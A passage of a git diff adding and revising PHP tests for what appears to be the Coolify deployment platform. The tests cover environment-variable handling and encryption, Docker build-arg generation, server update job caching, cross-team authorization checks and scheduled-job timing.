'TEST_VAR', + 'value' => 'test_value', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + // Boolean fields can be null or false depending on database defaults + expect($env->is_multiline)->toBeIn([false, null]); + expect($env->is_preview)->toBeIn([false, null]); + expect($env->is_runtime)->toBeIn([false, null]); + expect($env->is_buildtime)->toBeIn([false, null]); + expect($env->is_shown_once)->toBeIn([false, null]); +}); + +test('value field is properly encrypted when mass assigned', function () { + $plainValue = 'secret_value_123'; + + $env = EnvironmentVariable::create([ + 'key' => 'SECRET_KEY', + 'value' => $plainValue, + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + // Value should be decrypted when accessed via model + expect($env->value)->toBe($plainValue); + + // Verify it's actually encrypted in the database + $rawValue = \DB::table('environment_variables') + ->where('id', $env->id) + ->value('value'); + + expect($rawValue)->not->toBe($plainValue); + expect($rawValue)->not->toBeNull(); +}); + +test('key field is trimmed and spaces replaced with underscores', function () { + $env = EnvironmentVariable::create([ + 'key' => ' TEST KEY WITH SPACES ', + 'value' => 'test_value', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + expect($env->key)->toBe('TEST_KEY_WITH_SPACES'); +}); + +test('version field can be mass assigned', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'version' => '1.2.3', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + // The booted() method sets version automatically, so it will be the current version + expect($env->version)->not->toBeNull(); +}); + +test('mass assignment works with update method', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'initial_value', + 'comment' => 'Initial comment', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + $env->update([ + 'value' => 'updated_value', + 'comment' => 'Updated comment', + 'is_literal' => true, + ]); + + $env->refresh(); + + expect($env->value)->toBe('updated_value'); + expect($env->comment)->toBe('Updated comment'); + expect($env->is_literal)->toBeTrue(); +}); + +test('protected attributes cannot be mass assigned', function () { + $customDate = '2020-01-01 00:00:00'; + + $env = EnvironmentVariable::create([ + 'id' => 999999, + 'uuid' => 'custom-uuid', + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + 'created_at' => $customDate, + 'updated_at' => $customDate, + ]); + + // id should be auto-generated, not 999999 + expect($env->id)->not->toBe(999999); + + // uuid should be auto-generated, not 'custom-uuid' + expect($env->uuid)->not->toBe('custom-uuid'); + + // Timestamps should be current, not 2020 + expect($env->created_at->year)->toBe(now()->year); +}); + +test('order field can be mass assigned', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'order' => 5, + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + expect($env->order)->toBe(5); +}); + +test('is_shared field can be mass assigned', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'is_shared' => true, + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + // Note: is_shared is also computed via accessor, but can be mass assigned + expect($env->is_shared)->not->toBeNull(); +}); diff --git a/tests/Feature/EnvironmentVariableUpdateApiTest.php b/tests/Feature/EnvironmentVariableUpdateApiTest.php new file mode 100644 index 000000000..9c45dc5ae --- /dev/null +++ b/tests/Feature/EnvironmentVariableUpdateApiTest.php @@ -0,0 +1,194 @@ +team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + session(['currentTeam' => $this->team]); + + $this->token = $this->user->createToken('test-token', ['*']); + $this->bearerToken = $this->token->plainTextToken; + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + $this->destination = StandaloneDocker::factory()->create(['server_id' => $this->server->id]); + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); +}); + +describe('PATCH /api/v1/services/{uuid}/envs', function () { + test('returns the updated environment variable object', function () { + $service = Service::factory()->create([ + 'server_id' => $this->server->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + 'environment_id' => $this->environment->id, + ]); + + EnvironmentVariable::create([ + 'key' => 'APP_IMAGE_TAG', + 'value' => 'old-value', + 'resourceable_type' => Service::class, + 'resourceable_id' => $service->id, + 'is_preview' => false, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/services/{$service->uuid}/envs", [ + 'key' => 'APP_IMAGE_TAG', + 'value' => 'new-value', + ]); + + $response->assertStatus(201); + $response->assertJsonStructure([ + 'uuid', + 'key', + 'is_literal', + 'is_multiline', + 'is_shown_once', + 'created_at', + 'updated_at', + ]); + $response->assertJsonFragment(['key' => 'APP_IMAGE_TAG']); + $response->assertJsonMissing(['message' => 'Environment variable updated.']); + }); + + test('returns 404 when environment variable does not exist', function () { + $service = Service::factory()->create([ + 'server_id' => $this->server->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + 'environment_id' => $this->environment->id, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/services/{$service->uuid}/envs", [ + 'key' => 'NONEXISTENT_KEY', + 'value' => 'some-value', + ]); + + $response->assertStatus(404); + $response->assertJson(['message' => 'Environment variable not found.']); + }); + + test('returns 404 when service does not exist', function () { + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson('/api/v1/services/non-existent-uuid/envs', [ + 'key' => 'APP_IMAGE_TAG', + 'value' => 'some-value', + ]); + + $response->assertStatus(404); + }); + + test('returns 422 when key is missing', function () { + $service = Service::factory()->create([ + 'server_id' => $this->server->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + 'environment_id' => $this->environment->id, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/services/{$service->uuid}/envs", [ + 'value' => 'some-value', + ]); + + $response->assertStatus(422); + }); +}); + +describe('PATCH /api/v1/applications/{uuid}/envs', function () { + test('returns the updated environment variable object', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + EnvironmentVariable::create([ + 'key' => 'APP_IMAGE_TAG', + 'value' => 'old-value', + 'resourceable_type' => Application::class, + 'resourceable_id' => $application->id, + 'is_preview' => false, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/applications/{$application->uuid}/envs", [ + 'key' => 'APP_IMAGE_TAG', + 'value' => 'new-value', + ]); + + $response->assertStatus(201); + $response->assertJsonStructure([ + 'uuid', + 'key', + 'is_literal', + 'is_multiline', + 'is_shown_once', + 'created_at', + 'updated_at', + ]); + $response->assertJsonFragment(['key' => 'APP_IMAGE_TAG']); + $response->assertJsonMissing(['message' => 'Environment variable updated.']); + }); + + test('returns 404 when environment variable does not exist', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/applications/{$application->uuid}/envs", [ + 'key' => 'NONEXISTENT_KEY', + 'value' => 'some-value', + ]); + + $response->assertStatus(404); + }); + + test('returns 422 when key is missing', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/applications/{$application->uuid}/envs", [ + 'value' => 'some-value', + ]); + + $response->assertStatus(422); + }); +}); diff --git a/tests/Feature/MultilineEnvironmentVariableTest.php b/tests/Feature/MultilineEnvironmentVariableTest.php index e32a2ce99..453e11109 100644 --- a/tests/Feature/MultilineEnvironmentVariableTest.php +++ b/tests/Feature/MultilineEnvironmentVariableTest.php @@ -1,144 +1,59 @@ 'SSH_PRIVATE_KEY', 'value' => "'{$sshKey}'", 'is_multiline' => true], + ['key' => 'SSH_PRIVATE_KEY', 'value' => "'some-ssh-key'", 'is_multiline' => true], ['key' => 'REGULAR_VAR', 'value' => 'simple value', 'is_multiline' => false], ]; $buildArgs = generateDockerBuildArgs($variables); - // SSH key should use double quotes and have proper escaping - $sshArg = $buildArgs->first(); - expect($sshArg)->toStartWith('--build-arg SSH_PRIVATE_KEY="'); - expect($sshArg)->toEndWith('"'); - expect($sshArg)->toContain('BEGIN OPENSSH PRIVATE KEY'); - expect($sshArg)->not->toContain("'BEGIN"); // Should not have the wrapper single quotes - - // Regular var should use escapeshellarg (single quotes) - $regularArg = $buildArgs->last(); - expect($regularArg)->toBe("--build-arg REGULAR_VAR='simple value'"); + // Docker gets values from the environment, so only keys should be in build args + expect($buildArgs->first())->toBe('--build-arg SSH_PRIVATE_KEY'); + expect($buildArgs->last())->toBe('--build-arg REGULAR_VAR'); }); -test('multiline variables with special bash characters are escaped correctly', function () { - $valueWithSpecialChars = "line1\nline2 with \"quotes\"\nline3 with \$variables\nline4 with `backticks`"; +test('generateDockerBuildArgs works with collection of objects', function () { + $variables = collect([ + (object) ['key' => 'VAR1', 'value' => 'value1', 'is_multiline' => false], + (object) ['key' => 'VAR2', 'value' => "'multiline\nvalue'", 'is_multiline' => true], + ]); + $buildArgs = generateDockerBuildArgs($variables); + expect($buildArgs)->toHaveCount(2); + expect($buildArgs->values()->toArray())->toBe([ + '--build-arg VAR1', + '--build-arg VAR2', + ]); +}); + +test('generateDockerBuildArgs collection can be imploded into valid command string', function () { $variables = [ - ['key' => 'SPECIAL_VALUE', 'value' => "'{$valueWithSpecialChars}'", 'is_multiline' => true], + ['key' => 'COOLIFY_URL', 'value' => 'http://example.com', 'is_multiline' => false], + ['key' => 'COOLIFY_BRANCH', 'value' => 'main', 'is_multiline' => false], + ]; + + $buildArgs = generateDockerBuildArgs($variables); + + // The collection must be imploded to a string for command interpolation + // This was the bug: Collection was interpolated as JSON instead of a space-separated string + $argsString = $buildArgs->implode(' '); + expect($argsString)->toBe('--build-arg COOLIFY_URL --build-arg COOLIFY_BRANCH'); + + // Verify it does NOT produce JSON when cast to string + expect($argsString)->not->toContain('{'); + expect($argsString)->not->toContain('}'); +}); + +test('generateDockerBuildArgs handles variables without is_multiline', function () { + $variables = [ + ['key' => 'NO_FLAG_VAR', 'value' => 'some value'], ]; $buildArgs = generateDockerBuildArgs($variables); $arg = $buildArgs->first(); - // Verify double quotes are escaped - expect($arg)->toContain('\\"quotes\\"'); - // Verify dollar signs are escaped - expect($arg)->toContain('\\$variables'); - // Verify backticks are escaped - expect($arg)->toContain('\\`backticks\\`'); -}); - -test('single-line environment variables use escapeshellarg', function () { - $variables = [ - ['key' => 'SIMPLE_VAR', 'value' => 'simple value with spaces', 'is_multiline' => false], - ]; - - $buildArgs = generateDockerBuildArgs($variables); - $arg = $buildArgs->first(); - - // Should use single quotes from escapeshellarg - expect($arg)->toBe("--build-arg SIMPLE_VAR='simple value with spaces'"); -}); - -test('multiline certificate with newlines is preserved', function () { - $certificate = '-----BEGIN CERTIFICATE----- -MIIDXTCCAkWgAwIBAgIJAKL0UG+mRkSvMA0GCSqGSIb3DQEBCwUAMEUxCzAJBgNV -BAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBX -aWRnaXRzIFB0eSBMdGQwHhcNMTkwOTE3MDUzMzI5WhcNMjkwOTE0MDUzMzI5WjBF ------END CERTIFICATE-----'; - - $variables = [ - ['key' => 'TLS_CERT', 'value' => "'{$certificate}'", 'is_multiline' => true], - ]; - - $buildArgs = generateDockerBuildArgs($variables); - $arg = $buildArgs->first(); - - // Newlines should be preserved in the output - expect($arg)->toContain("\n"); - expect($arg)->toContain('BEGIN CERTIFICATE'); - expect($arg)->toContain('END CERTIFICATE'); - expect(substr_count($arg, "\n"))->toBeGreaterThan(0); -}); - -test('multiline JSON configuration is properly escaped', function () { - $jsonConfig = '{ - "key": "value", - "nested": { - "array": [1, 2, 3] - } -}'; - - $variables = [ - ['key' => 'JSON_CONFIG', 'value' => "'{$jsonConfig}'", 'is_multiline' => true], - ]; - - $buildArgs = generateDockerBuildArgs($variables); - $arg = $buildArgs->first(); - - // All double quotes in JSON should be escaped - expect($arg)->toContain('\\"key\\"'); - expect($arg)->toContain('\\"value\\"'); - expect($arg)->toContain('\\"nested\\"'); -}); - -test('empty multiline variable is handled correctly', function () { - $variables = [ - ['key' => 'EMPTY_VAR', 'value' => "''", 'is_multiline' => true], - ]; - - $buildArgs = generateDockerBuildArgs($variables); - $arg = $buildArgs->first(); - - expect($arg)->toBe('--build-arg EMPTY_VAR=""'); -}); - -test('multiline variable with only newlines', function () { - $onlyNewlines = "\n\n\n"; - - $variables = [ - ['key' => 'NEWLINES_ONLY', 'value' => "'{$onlyNewlines}'", 'is_multiline' => true], - ]; - - $buildArgs = generateDockerBuildArgs($variables); - $arg = $buildArgs->first(); - - expect($arg)->toContain("\n"); - // Should have 3 newlines preserved - expect(substr_count($arg, "\n"))->toBe(3); -}); - -test('multiline variable with backslashes is escaped correctly', function () { - $valueWithBackslashes = "path\\to\\file\nC:\\Windows\\System32"; - - $variables = [ - ['key' => 'PATH_VAR', 'value' => "'{$valueWithBackslashes}'", 'is_multiline' => true], - ]; - - $buildArgs = generateDockerBuildArgs($variables); - $arg = $buildArgs->first(); - - // Backslashes should be doubled - expect($arg)->toContain('path\\\\to\\\\file'); - expect($arg)->toContain('C:\\\\Windows\\\\System32'); + expect($arg)->toBe('--build-arg NO_FLAG_VAR'); }); test('generateDockerEnvFlags produces correct format', function () { @@ -155,54 +70,14 @@ expect($envFlags)->toContain('line2'); }); -test('helper functions work with collection input', function () { +test('generateDockerEnvFlags works with collection input', function () { $variables = collect([ (object) ['key' => 'VAR1', 'value' => 'value1', 'is_multiline' => false], (object) ['key' => 'VAR2', 'value' => "'multiline\nvalue'", 'is_multiline' => true], ]); - $buildArgs = generateDockerBuildArgs($variables); - expect($buildArgs)->toHaveCount(2); - $envFlags = generateDockerEnvFlags($variables); expect($envFlags)->toBeString(); expect($envFlags)->toContain('-e VAR1='); expect($envFlags)->toContain('-e VAR2="'); }); - -test('variables without is_multiline default to false', function () { - $variables = [ - ['key' => 'NO_FLAG_VAR', 'value' => 'some value'], - ]; - - $buildArgs = generateDockerBuildArgs($variables); - $arg = $buildArgs->first(); - - // Should use escapeshellarg (single quotes) since is_multiline defaults to false - expect($arg)->toBe("--build-arg NO_FLAG_VAR='some value'"); -}); - -test('real world SSH key example', function () { - // Simulate what real_value returns (wrapped in single quotes) - $sshKey = "'-----BEGIN OPENSSH PRIVATE KEY----- -b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW -QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk -hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA -AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV -uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA== ------END OPENSSH PRIVATE KEY-----'"; - - $variables = [ - ['key' => 'KEY', 'value' => $sshKey, 'is_multiline' => true], - ]; - - $buildArgs = generateDockerBuildArgs($variables); - $arg = $buildArgs->first(); - - // Should produce clean output without wrapper quotes - expect($arg)->toStartWith('--build-arg KEY="-----BEGIN OPENSSH PRIVATE KEY-----'); - expect($arg)->toEndWith('-----END OPENSSH PRIVATE KEY-----"'); - // Should NOT have the escaped quote sequence that was in the bug - expect($arg)->not->toContain("''"); - expect($arg)->not->toContain("'\\''"); -}); diff --git a/tests/Feature/PushServerUpdateJobOptimizationTest.php b/tests/Feature/PushServerUpdateJobOptimizationTest.php new file mode 100644 index 000000000..eb51059db --- /dev/null +++ b/tests/Feature/PushServerUpdateJobOptimizationTest.php @@ -0,0 +1,150 @@ +create(); + $server = Server::factory()->create(['team_id' => $team->id]); + + $data = [ + 'containers' => [], + 'filesystem_usage_root' => ['used_percentage' => 45], + ]; + + $job = new PushServerUpdateJob($server, $data); + $job->handle(); + + Queue::assertPushed(ServerStorageCheckJob::class, function ($job) use ($server) { + return $job->server->id === $server->id && $job->percentage === 45; + }); +}); + +it('does not dispatch storage check when disk percentage is unchanged', function () { + $team = Team::factory()->create(); + $server = Server::factory()->create(['team_id' => $team->id]); + + // Simulate a previous push that cached the percentage + Cache::put('storage-check:'.$server->id, 45, 600); + + $data = [ + 'containers' => [], + 'filesystem_usage_root' => ['used_percentage' => 45], + ]; + + $job = new PushServerUpdateJob($server, $data); + $job->handle(); + + Queue::assertNotPushed(ServerStorageCheckJob::class); +}); + +it('dispatches storage check when disk percentage changes from cached value', function () { + $team = Team::factory()->create(); + $server = Server::factory()->create(['team_id' => $team->id]); + + // Simulate a previous push that cached 45% + Cache::put('storage-check:'.$server->id, 45, 600); + + $data = [ + 'containers' => [], + 'filesystem_usage_root' => ['used_percentage' => 50], + ]; + + $job = new PushServerUpdateJob($server, $data); + $job->handle(); + + Queue::assertPushed(ServerStorageCheckJob::class, function ($job) use ($server) { + return $job->server->id === $server->id && $job->percentage === 50; + }); +}); + +it('rate-limits ConnectProxyToNetworksJob dispatch to every 10 minutes', function () { + $team = Team::factory()->create(); + $server = Server::factory()->create(['team_id' => $team->id]); + $server->settings->update(['is_reachable' => true, 'is_usable' => true]); + + // First push: should dispatch ConnectProxyToNetworksJob + $containersWithProxy = [ + [ + 'name' => 'coolify-proxy', + 'state' => 'running', + 'health_status' => 'healthy', + 'labels' => ['coolify.managed' => true], + ], + ]; + + $data = [ + 'containers' => $containersWithProxy, + 'filesystem_usage_root' => ['used_percentage' => 10], + ]; + + $job = new PushServerUpdateJob($server, $data); + $job->handle(); + + Queue::assertPushed(ConnectProxyToNetworksJob::class, 1); + + // Second push: should NOT dispatch ConnectProxyToNetworksJob (rate-limited) + Queue::fake(); + $job2 = new PushServerUpdateJob($server, $data); + $job2->handle(); + + Queue::assertNotPushed(ConnectProxyToNetworksJob::class); +}); + +it('dispatches ConnectProxyToNetworksJob again after cache expires', function () { + $team = Team::factory()->create(); + $server = Server::factory()->create(['team_id' => $team->id]); + $server->settings->update(['is_reachable' => true, 'is_usable' => true]); + + $containersWithProxy = [ + [ + 'name' => 'coolify-proxy', + 'state' => 'running', + 'health_status' => 'healthy', + 'labels' => ['coolify.managed' => true], + ], + ]; + + $data = [ + 'containers' => $containersWithProxy, + 'filesystem_usage_root' => ['used_percentage' => 10], + ]; + + // First push + $job = new PushServerUpdateJob($server, $data); + $job->handle(); + + Queue::assertPushed(ConnectProxyToNetworksJob::class, 1); + + // Clear cache to simulate expiration + Cache::forget('connect-proxy:'.$server->id); + + // Next push: should dispatch again + Queue::fake(); + $job2 = new PushServerUpdateJob($server, $data); + $job2->handle(); + + Queue::assertPushed(ConnectProxyToNetworksJob::class, 1); +}); + +it('uses default queue for PushServerUpdateJob', function () { + $team = Team::factory()->create(); + $server = Server::factory()->create(['team_id' => $team->id]); + + $job = new PushServerUpdateJob($server, ['containers' => []]); + + expect($job->queue)->toBeNull(); +}); diff --git a/tests/Feature/PushServerUpdateJobTest.php b/tests/Feature/PushServerUpdateJobTest.php new file mode 100644 index 000000000..d508d58ab --- /dev/null +++ b/tests/Feature/PushServerUpdateJobTest.php @@ -0,0 +1,76 @@ +create(); + $service = Service::factory()->create([ + 'server_id' => $server->id, + ]); + $serviceApp = ServiceApplication::factory()->create([ + 'service_id' => $service->id, + ]); + + $data = [ + 'containers' => [ + [ + 'name' => 'test-container', + 'state' => 'running', + 'health_status' => 'healthy', + 'labels' => [ + 'coolify.managed' => true, + 'coolify.serviceId' => (string) $service->id, + 'coolify.service.subType' => 'application', + 'coolify.service.subId' => '', + ], + ], + ], + ]; + + $job = new PushServerUpdateJob($server, $data); + + // Run handle - should not throw a PDOException about empty bigint + $job->handle(); + + // The empty subId container should have been skipped + expect($job->foundServiceApplicationIds)->not->toContain(''); + expect($job->serviceContainerStatuses)->toBeEmpty(); +}); + +test('containers with valid service subId are processed', function () { + $server = Server::factory()->create(); + $service = Service::factory()->create([ + 'server_id' => $server->id, + ]); + $serviceApp = ServiceApplication::factory()->create([ + 'service_id' => $service->id, + ]); + + $data = [ + 'containers' => [ + [ + 'name' => 'test-container', + 'state' => 'running', + 'health_status' => 'healthy', + 'labels' => [ + 'coolify.managed' => true, + 'coolify.serviceId' => (string) $service->id, + 'coolify.service.subType' => 'application', + 'coolify.service.subId' => (string) $serviceApp->id, + 'com.docker.compose.service' => 'myapp', + ], + ], + ], + ]; + + $job = new PushServerUpdateJob($server, $data); + $job->handle(); + + expect($job->foundServiceApplicationIds)->toContain((string) $serviceApp->id); +}); diff --git a/tests/Feature/ResourceOperationsCrossTenantTest.php b/tests/Feature/ResourceOperationsCrossTenantTest.php new file mode 100644 index 000000000..056c7757c --- /dev/null +++ b/tests/Feature/ResourceOperationsCrossTenantTest.php @@ -0,0 +1,85 @@ +userA = User::factory()->create(); + $this->teamA = Team::factory()->create(); + $this->userA->teams()->attach($this->teamA, ['role' => 'owner']); + + $this->serverA = Server::factory()->create(['team_id' => $this->teamA->id]); + $this->destinationA = StandaloneDocker::factory()->create(['server_id' => $this->serverA->id]); + $this->projectA = Project::factory()->create(['team_id' => $this->teamA->id]); + $this->environmentA = Environment::factory()->create(['project_id' => $this->projectA->id]); + + $this->applicationA = Application::factory()->create([ + 'environment_id' => $this->environmentA->id, + 'destination_id' => $this->destinationA->id, + 'destination_type' => $this->destinationA->getMorphClass(), + ]); + + // Team B (victim's team) + $this->teamB = Team::factory()->create(); + $this->serverB = Server::factory()->create(['team_id' => $this->teamB->id]); + $this->destinationB = StandaloneDocker::factory()->create(['server_id' => $this->serverB->id]); + $this->projectB = Project::factory()->create(['team_id' => $this->teamB->id]); + $this->environmentB = Environment::factory()->create(['project_id' => $this->projectB->id]); + + $this->actingAs($this->userA); + session(['currentTeam' => $this->teamA]); +}); + +test('cloneTo rejects destination belonging to another team', function () { + Livewire::test(ResourceOperations::class, ['resource' => $this->applicationA]) + ->call('cloneTo', $this->destinationB->id) + ->assertHasErrors('destination_id'); + + // Ensure no cross-tenant application was created + expect(Application::where('destination_id', $this->destinationB->id)->exists())->toBeFalse(); +}); + +test('cloneTo allows destination belonging to own team', function () { + $secondDestination = StandaloneDocker::factory()->create(['server_id' => $this->serverA->id]); + + Livewire::test(ResourceOperations::class, ['resource' => $this->applicationA]) + ->call('cloneTo', $secondDestination->id) + ->assertHasNoErrors('destination_id') + ->assertRedirect(); +}); + +test('moveTo rejects environment belonging to another team', function () { + Livewire::test(ResourceOperations::class, ['resource' => $this->applicationA]) + ->call('moveTo', $this->environmentB->id); + + // Resource should still be in original environment + $this->applicationA->refresh(); + expect($this->applicationA->environment_id)->toBe($this->environmentA->id); +}); + +test('moveTo allows environment belonging to own team', function () { + $secondEnvironment = Environment::factory()->create(['project_id' => $this->projectA->id]); + + Livewire::test(ResourceOperations::class, ['resource' => $this->applicationA]) + ->call('moveTo', $secondEnvironment->id) + ->assertRedirect(); + + $this->applicationA->refresh(); + expect($this->applicationA->environment_id)->toBe($secondEnvironment->id); +}); + +test('StandaloneDockerPolicy denies update for cross-team user', function () { + expect($this->userA->can('update', $this->destinationB))->toBeFalse(); +}); + +test('StandaloneDockerPolicy allows update for same-team user', function () { + expect($this->userA->can('update', $this->destinationA))->toBeTrue(); +}); diff --git a/tests/Feature/ScheduledJobManagerShouldRunNowTest.php b/tests/Feature/ScheduledJobManagerShouldRunNowTest.php new file mode 100644 index 000000000..f820c3777 --- /dev/null +++ b/tests/Feature/ScheduledJobManagerShouldRunNowTest.php @@ -0,0 +1,222 @@ +getProperty('executionTime'); + $executionTimeProp->setAccessible(true); + $executionTimeProp->setValue($job, Carbon::now()); + + $method = $reflection->getMethod('shouldRunNow'); + $method->setAccessible(true); + + $result = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:1'); + + expect($result)->toBeTrue(); +}); + +it('catches delayed job when cache has a baseline from previous run', function () { + // Simulate a previous dispatch yesterday at 02:00 + Cache::put('test-backup:1', Carbon::create(2026, 2, 27, 2, 0, 0, 'UTC')->toIso8601String(), 86400); + + // Freeze time at 02:07 — job was delayed 7 minutes past today's 02:00 cron + Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 7, 0, 'UTC')); + + $job = new ScheduledJobManager; + + $reflection = new ReflectionClass($job); + + $executionTimeProp = $reflection->getProperty('executionTime'); + $executionTimeProp->setAccessible(true); + $executionTimeProp->setValue($job, Carbon::now()); + + $method = $reflection->getMethod('shouldRunNow'); + $method->setAccessible(true); + + // isDue() would return false at 02:07, but getPreviousRunDate() = 02:00 today + // lastDispatched = 02:00 yesterday → 02:00 today > yesterday → fires + $result = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:1'); + + expect($result)->toBeTrue(); +}); + +it('does not double-dispatch on subsequent runs within same cron window', function () { + // First run at 02:00 — dispatches and sets cache + Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC')); + + $job = new ScheduledJobManager; + $reflection = new ReflectionClass($job); + + $executionTimeProp = $reflection->getProperty('executionTime'); + $executionTimeProp->setAccessible(true); + $executionTimeProp->setValue($job, Carbon::now()); + + $method = $reflection->getMethod('shouldRunNow'); + $method->setAccessible(true); + + $first = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:2'); + expect($first)->toBeTrue(); + + // Second run at 02:01 — should NOT dispatch (previousDue=02:00, lastDispatched=02:00) + Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 1, 0, 'UTC')); + $executionTimeProp->setValue($job, Carbon::now()); + + $second = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:2'); + expect($second)->toBeFalse(); +}); + +it('fires every_minute cron correctly on consecutive minutes', function () { + $job = new ScheduledJobManager; + $reflection = new ReflectionClass($job); + + $executionTimeProp = $reflection->getProperty('executionTime'); + $executionTimeProp->setAccessible(true); + + $method = $reflection->getMethod('shouldRunNow'); + $method->setAccessible(true); + + // Minute 1 + Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 0, 0, 'UTC')); + $executionTimeProp->setValue($job, Carbon::now()); + $result1 = $method->invoke($job, '* * * * *', 'UTC', 'test-backup:3'); + expect($result1)->toBeTrue(); + + // Minute 2 + Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 1, 0, 'UTC')); + $executionTimeProp->setValue($job, Carbon::now()); + $result2 = $method->invoke($job, '* * * * *', 'UTC', 'test-backup:3'); + expect($result2)->toBeTrue(); + + // Minute 3 + Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 2, 0, 'UTC')); + $executionTimeProp->setValue($job, Carbon::now()); + $result3 = $method->invoke($job, '* * * * *', 'UTC', 'test-backup:3'); + expect($result3)->toBeTrue(); +}); + +it('does not fire non-due jobs on restart when cache is empty', function () { + // Time is 10:00, cron is daily at 02:00 — NOT due right now + Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 0, 0, 'UTC')); + + $job = new ScheduledJobManager; + $reflection = new ReflectionClass($job); + + $executionTimeProp = $reflection->getProperty('executionTime'); + $executionTimeProp->setAccessible(true); + $executionTimeProp->setValue($job, Carbon::now()); + + $method = $reflection->getMethod('shouldRunNow'); + $method->setAccessible(true); + + // Cache is empty (fresh restart) — should NOT fire daily backup at 10:00 + $result = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:4'); + expect($result)->toBeFalse(); +}); + +it('fires due jobs on restart when cache is empty', function () { + // Time is exactly 02:00, cron is daily at 02:00 — IS due right now + Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC')); + + $job = new ScheduledJobManager; + $reflection = new ReflectionClass($job); + + $executionTimeProp = $reflection->getProperty('executionTime'); + $executionTimeProp->setAccessible(true); + $executionTimeProp->setValue($job, Carbon::now()); + + $method = $reflection->getMethod('shouldRunNow'); + $method->setAccessible(true); + + // Cache is empty (fresh restart) — but cron IS due → should fire + $result = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:4b'); + expect($result)->toBeTrue(); +}); + +it('does not dispatch when cron is not due and was not recently due', function () { + // Time is 10:00, cron is daily at 02:00 — last due was 8 hours ago + Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 0, 0, 'UTC')); + + $job = new ScheduledJobManager; + $reflection = new ReflectionClass($job); + + $executionTimeProp = $reflection->getProperty('executionTime'); + $executionTimeProp->setAccessible(true); + $executionTimeProp->setValue($job, Carbon::now()); + + $method = $reflection->getMethod('shouldRunNow'); + $method->setAccessible(true); + + // previousDue = 02:00, but lastDispatched was set at 02:00 (simulate) + Cache::put('test-backup:5', Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC')->toIso8601String(), 86400); + + $result = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:5'); + expect($result)->toBeFalse(); +}); + +it('falls back to isDue when no dedup key is provided', function () { + // Time is exactly 02:00, cron is "0 2 * * *" 